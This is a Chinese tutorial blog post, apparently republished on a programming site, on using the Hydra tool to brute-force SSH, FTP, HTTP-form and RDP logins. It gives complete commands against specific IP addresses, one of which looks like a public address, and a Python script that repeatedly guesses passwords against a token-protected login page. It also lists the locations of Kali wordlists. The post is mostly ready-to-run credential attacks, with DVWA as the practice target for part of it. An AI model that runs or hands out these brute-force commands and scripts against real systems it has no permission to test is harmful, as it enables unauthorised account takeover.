Hydra暴力破解工具的用法

目录Hydra常见参数破解SSH破解FTP破解HTTP破解3389远程登录Kali自带密码字典dirb…

大家好,又见面了,我是你们的朋友全栈君。

目录

Hydra

常见参数

破解SSH

破解FTP

破解HTTP

破解3389远程登录

Kali自带密码字典

dirb

dirbuster

fern-wifi

metasploit

wfuzz


Hydra

Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。

目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。

由于Kali中自带Hydra,所以怎么安装就不讲了,下面直接讲如何用它。

常见参数

  • -R:继续从上一次进度接着破解
  • -S:大写,采用SSL链接
  • -s  <PORT>:小写,可通过这个参数指定非默认端口
  • -l  <LOGIN>:指定破解的用户,对特定用户破解
  • -L  <FILE>:指定用户名字典
  • -p  <PASS>:小写,指定密码破解,少用,一般是采用密码字典
  • -P  <FILE>:大写,指定密码字典
  • -e  <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探
  • -C  <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数
  • -M  <FILE>:指定目标列表文件一行一条
  • -o  <FILE>:指定结果输出文件
  • -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
  • -t <TASKS>:同时运行的线程数,默认为16
  • -w <TIME>:设置最大超时的时间,单位秒,默认是30s
  • -v / -V:显示详细过程
  • server:目标ip
  • service:指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
  • OPT:可选项

破解SSH

hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh   #-L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息
 
 
 

Hydra暴力破解工具的用法

破解FTP

hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息 
 
 
 

Hydra暴力破解工具的用法

破解HTTP

我们拿DVWA测试破解HTTP,破解HTTP,需要分析数据包的提交格式

GET方式:

Hydra暴力破解工具的用法

分析数据包,我们得到下面的命令


 
 
 
  1. hydra - L user.txt - P passwd.txt -o http_get.txt -vV 10.96. 10.208 http- get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t 3
  2. #前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^ USER^和^ PASS^代表是攻击载荷, F=后面是代表密码错误时的关键字符串 , H后面是cookie信息

Hydra暴力破解工具的用法

POST方式: 

Hydra暴力破解工具的用法

分析数据包,得到下面的破解命令


 
 
 
  1. hydra - L user.txt - P passwd.txt -t 3 -o http_post.txt -vV 10.96. 10.183 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"
  2. #前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^ USER^和^ PASS^代表是攻击载荷, S等于的是密码正确时返回应用的关键字符串

但是新版的DVWA采用了token的验证方式,每次登录的token都是不一样的,所以不能用hydra来破解。目前,大多数网站登录都采用了token验证,所以,都不能使用Hydra来破解。

我们可以自己写一个python脚本来破解。 


 
 
 
  1. # -*- coding: utf-8 -*-
  2. """
  3. Created on Sat Nov 24 20:42:01 2018
  4. @author: 小谢
  5. """
  6. import urllib
  7. import requests
  8. from bs4 import BeautifulSoup
  9. ##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
  10. def get_cookie_token():
  11. headers={ 'Host': '127.0.0.1',
  12. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  13. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  14. 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  15. 'Connection': 'keep-alive',
  16. 'Upgrade-Insecure-Requests': '1'}
  17. res=requests.get( "http://127.0.0.1/login.php",headers=headers)
  18. cookies=res.cookies
  19. a=[( ';'.join([ '='.join(item) for item in cookies.items()]))] ## a为列表,存储cookie和token
  20. html=res.text
  21. soup=BeautifulSoup(html, "html.parser")
  22. token=soup.form.contents[ 3][ 'value']
  23. a.append(token)
  24. return a
  25. ##第二步模拟登陆
  26. def Login(a,username,password): #a是包含了cookie和token的列表
  27. headers={ 'Host': '127.0.0.1',
  28. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  29. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  30. 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  31. 'Connection': 'keep-alive',
  32. 'Content-Length': '88',
  33. 'Content-Type': 'application/x-www-form-urlencoded',
  34. 'Upgrade-Insecure-Requests': '1',
  35. 'Cookie':a[ 0],
  36. 'Referer': 'http://127.0.0.1/login.php'}
  37. values={ 'username':username,
  38. 'password':password,
  39. 'Login': 'Login',
  40. 'user_token':a[ 1]
  41. }
  42. data=urllib.parse.urlencode(values)
  43. resp=requests.post( "http://127.0.0.1/login.php",data=data,headers=headers)
  44. return
  45. #重定向到index.php
  46. def main():
  47. with open( "user.txt", 'r') as f:
  48. users=f.readlines()
  49. for user in users:
  50. user=user.strip( "\n") #用户名
  51. with open( "passwd.txt", 'r') as file:
  52. passwds=file.readlines()
  53. for passwd in passwds:
  54. passwd=passwd.strip( "\n") #密码
  55. a=get_cookie_token() ##a列表中存储了服务器返回的cookie和toke
  56. Login(a,user,passwd)
  57. headers={ 'Host': '127.0.0.1',
  58. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  59. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  60. 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  61. 'Connection': 'keep-alive',
  62. 'Upgrade-Insecure-Requests': '1',
  63. 'Cookie':a[ 0],
  64. 'Referer': 'http://127.0.0.1/login.php'}
  65. response=requests.get( "http://127.0.0.1/index.php",headers=headers)
  66. if response.headers[ 'Content-Length']== '7524': #如果登录成功
  67. print( "用户名为:%s ,密码为:%s"%(user,passwd)) #打印出用户名和密码
  68. break
  69. if __name__== '__main__':
  70. main()

脚本运行截图

Hydra暴力破解工具的用法

破解3389远程登录

hydra 202.207.236.4 rdp -L user.txt -P passwd.txt -V
 
 
 

Hydra暴力破解工具的用法

Kali自带密码字典

暴力破解能成功最重要的条件还是要有一个强大的密码字典!Kali默认自带了一些字典,在 /usr/share/wordlists 目录下

Hydra暴力破解工具的用法

dirb

Hydra暴力破解工具的用法


 
 
 
  1. big.txt #大的字典
  2. small.txt #小的字典
  3. catala.txt #项目配置字典
  4. common.txt #公共字典
  5. euskera.txt #数据目录字典
  6. extensions_common.txt #常用文件扩展名字典
  7. indexes.txt #首页字典
  8. mutations_common.txt #备份扩展名
  9. spanish.txt #方法名或库目录
  10. others #扩展目录,默认用户名等
  11. stress #压力测试
  12. vulns #漏洞测试

dirbuster

Hydra暴力破解工具的用法


 
 
 
  1. apache-user- enum-** #apache用户枚举
  2. directories. jbrofuzz #目录枚举
  3. directory- list-1.0. txt #目录列表大,中,小 bigmediumsmall

fern-wifi

Hydra暴力破解工具的用法

common.txt #公共wifi账户密码
 
 
 

metasploit

metasploit下有各种类型的字典

Hydra暴力破解工具的用法

wfuzz

模糊测试,各种字典

Hydra暴力破解工具的用法

相关文章:Linux下暴力破解工具Hydra详解

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/126157.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • mybatis oracle分页查询sql语句(oracle查询分页)

    java实现mysql分页查询1.前言1.mysql中分页用limit,但是limit后面不能跟表达式,错误表达式:limit(1-1)*10,10。2.对象中提供分页数据的方法。备注:limita,b表示从第a+1条开始取,本次一共取b条如limit0,10:取第1-10条数据,如limit25,8:去第26-33条数据。application.properties数据库Mysql配置#数据库配置spring.datasource.url=jdbc:mysql://loc

  • ubuntu如何更新_ubuntu更新软件包列表命令

    ubuntu如何更新_ubuntu更新软件包列表命令ubuntu怎么更新?ubuntu更新命令及方法安装Ubuntu系统后,第一件事就是更新系统源。由于系统安装的默认源地址在英国,作为Ubuntu的主源,国内连接速度非常慢,所以我们要将它换成就近的

  • LaTeX伪代码写法总结

    LaTeX伪代码写法总结1.伪代码所用包一般会接触到的包有algorithm、algorithmic、algorithmicx、algorithm2e这四种包。algorithm一般用于给伪代码提供一个浮动体环境,防止其换页或其他因素导致的内容中断,从而跨页显示。algorithmic则用于编辑伪代码的内容,一些for、while、if等语句通过该包中的命令进行编写。algorithmicx则可以看作algorithmic的升级版,参考资料…

  • 如何快速学从零开始学习3d建模?

    如何快速学从零开始学习3d建模?其实对于初学者来说,3D建模是一个专业性偏强且极其难入手的游戏制作专业技术。如果是无基础从零开始的学习的话,没有一个好的学习方法和好的指导老师的话,还是比较困难的。那么如何从零基础开始学习3D建模?一、首先得知道什么是游戏3D建模在大型的游戏研发公司,3D建模是一个非常大的职能,分为4个岗位:3D角色低模手绘,3D场景低模手绘,次世代角色高模,次世代场景高模。通常我们所说的3D建模是指低模手绘。如果你需要好的学习环境,好的学习资源,这里欢迎每一位热爱游戏动漫模型的小伙伴,想要学习.

  • webpack devtools_webpack loader和plugin的区别

    webpack devtools_webpack loader和plugin的区别前言devtool也是之前常用的一个配置,我们稍微了解下吧,不研究太深,毕竟现在都不怎配置他。内容devtool是配置sourceMap的。sourceMap大家都知道,我们本地或者测试环境出了错误,可以在source中迅速定位错误,用到的就是.map(map文件),这个文件中是源文件映射(主要是源文件代码)。但是我们在network中看不到.map文件的请求,盲猜一波是浏览器做了屏蔽,不让我们看这种请求。(毕竟是源码,我单独下载map文件是可以下载下来的)接下来,当devtool被配置为

  • nat模式「建议收藏」

    nat模式「建议收藏」原文链接:https://www.linuxidc.com/Linux/2016-09/135521p2.htm(复制过来只是为了学习方便,如有不妥会立即删除)二、NAT(地址转换模式)刚刚我们说到,如果你的网络ip资源紧缺,但是你又希望你的虚拟机能够联网,这时候NAT模式是最好的选择。NAT模式借助虚拟NAT设备和虚拟DHCP服务器,使得虚拟机可以联网。其网络结构如下图所示:在NAT模式中,主机…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号